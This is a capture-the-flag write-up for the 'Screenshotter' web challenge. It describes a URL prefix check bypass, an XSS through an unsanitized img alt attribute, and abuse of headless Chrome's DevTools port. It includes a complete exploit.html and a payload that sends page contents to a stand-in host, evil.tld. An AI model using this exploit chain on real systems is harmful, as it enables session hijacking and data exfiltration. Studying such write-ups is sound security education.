Screenshotter

Information

Category: Web

Difficulty: Medium

Author: LiveOverflow

Points:

- **Junior**: ?
- **Senior**: ?
- **Earth**: ?

First Blood:

- **Junior**: LinHe
- **Senior**: mawalu
- **Earth**: Qyn

Description:

>Screenshotter is a novel web app to quickly take notes and screenshots.

>Simply enter the URL of a website and store a screenshot of it.

>Currently in beta, only cscg.de screenshots are allowed.

Challenge Files:

- *screenshotter.zip*

Overview

This is a docker setup with three containers “*chrome*”, “*screenshotter*” and “*app*”
In the ZIP file there is a “*docker-compose.yaml*” and three folders “*admin*”, “*app*” and “*chrome*”.
The “*screenshotter*” container hosts the website.
On the website you can register, save notes and take screenshots. There is also a public log of all actions.
The “*admin*” container saves a note with the flag at startup and takes screenshots of “*http://cscg.de*” periodically.

The Chrome container is just a headless Chrome instance that takes the screenshots. The browser is controlled via port 9222 and the Chrome DevTools Protocol.

Solution

1. Bypass cscg.de restriction

The Python code only checks the beginning of the URL:
“*if body.startswith('https://www.cscg.de') or body.startswith('http://cscg.de'): “*

For example, if the URL would be “*http://cscg.de.example.tld*” it would also be accepted.
So I just created a subdomain and used it as a bypass.

2. XSS on /notes

The title of the captured website is also displayed as img alt attribute.
But since this is not additionally sanitized the title will be packed directly into the img tag.
“*alt={{ note.title }}*”

If there are spaces in the title then this happens:
“*alt="Cyber" Security Challenge Germany*"

With for example this title you can now execute your javascript with onload:
“*abc onload=alert(0)*”

The resulting img tag looks like this:
“*alt="abc" onload=alert(0)*”

This allows you to execute any JavaScript on the load of the website.

3. Access flagger's browser tab and attack it

Through the Chrome browser, I can access port 9222 and control Chrome this way.
I first let me show all open tabs by an iframe under the address “*http://127.0.0.1:9222/json/list*”.
There is an about:blank tab there. I redirect this tab to the list of open tabs under the URL “*http://127.0.0.1:9222/json/list*”.
There a JavaScript filters the json values for the ID of the tab of flagger and changes the title to the XSS payload.
My Payload I have chosen is:
“Cyber onload=window.location.replace(`http://evil.tld/`+document.getElementsByTagName(`pre`)[0].innerText)”

I have combined everything in the `exploit.html`.

When starting the challenge, you have to call the page once to then adjust the ID in the `exploit.html`.
If you see in the log that flagger has submitted a screenshot, submit the `exploit.html` again.
Now you should receive the flag at your "*evil.tld*" logs.

Mitigation

The user's input and the alt tag should be properly sanitized.
Also the access as user to port 9222 and at best the complete sharing of the chrome container should be prevented.

File: *exploit.html*

```
<head><title>Exploit</title></head><body>
<iframe src="http://127.0.0.1:9222/json/list" name="iframe" id="iframe" frameborder="0" marginheight="0px
" marginwidth="0px" height="400" width="600"></iframe>
<div id="divID"></div>
<script>
    var div = document.getElementById('divID'); div.innerHTML += "start ";
    let id = "ADD_ID_HERE"; let url = "ws://127.0.0.1:9222/devtools/page/"+id;
    let socket1 = new WebSocket(url);
    var message1 = {
        "id": 1336,
        "method": "Runtime.evaluate",
        "params": {
           "expression": "window.location.replace('http://127.0.0.1:9222/json/list');"
        }
    }
    var message = {
        "id": 1337,
        "method": "Runtime.evaluate",
         "params": {
             "expression": "jsontext=JSON.parse(document.body.innerText);var needle='https://www.cscg.de/';var wsurl='';for (var i = 0; i < jsontext.length; i++)
{;if (jsontext[i].url == needle){;wsurl=jsontext[i].webSocketDebuggerUrl;};};var stri =``+'Cyber onload=Cyber onload=window.location.replace(`http://evil.tld/`+documen
t.getElementsByTagName(`pre`)[0].innerText)'+``;var documen='document.title='+stri;var message2 = {'id': 1737,'method': 'Runtime.evaluate', 'params': { 'expression': d
ocumen}};var socket4=new WebSocket(wsurl); setTimeout(() => {  socket4.send(JSON.stringify(message2)); }, 1000);"
         }
    }
    socket1.onerror   = (error) => div.innerHTML += `[error1] ${error.message}`;
    socket1.onmessage = (event) => div.innerHTML += `[message1] ${event.data}`;
    socket1.onopen = (e) => {
        div.innerHTML += "[init1] Connection established";
        socket1.send(JSON.stringify(message1));
        //Send with 3 seconds delay
        setTimeout(() => {  socket1.send(JSON.stringify(message));div.innerHTML += "send2"; }, 3000);
    }
    div.innerHTML += " end";
</script></body>
```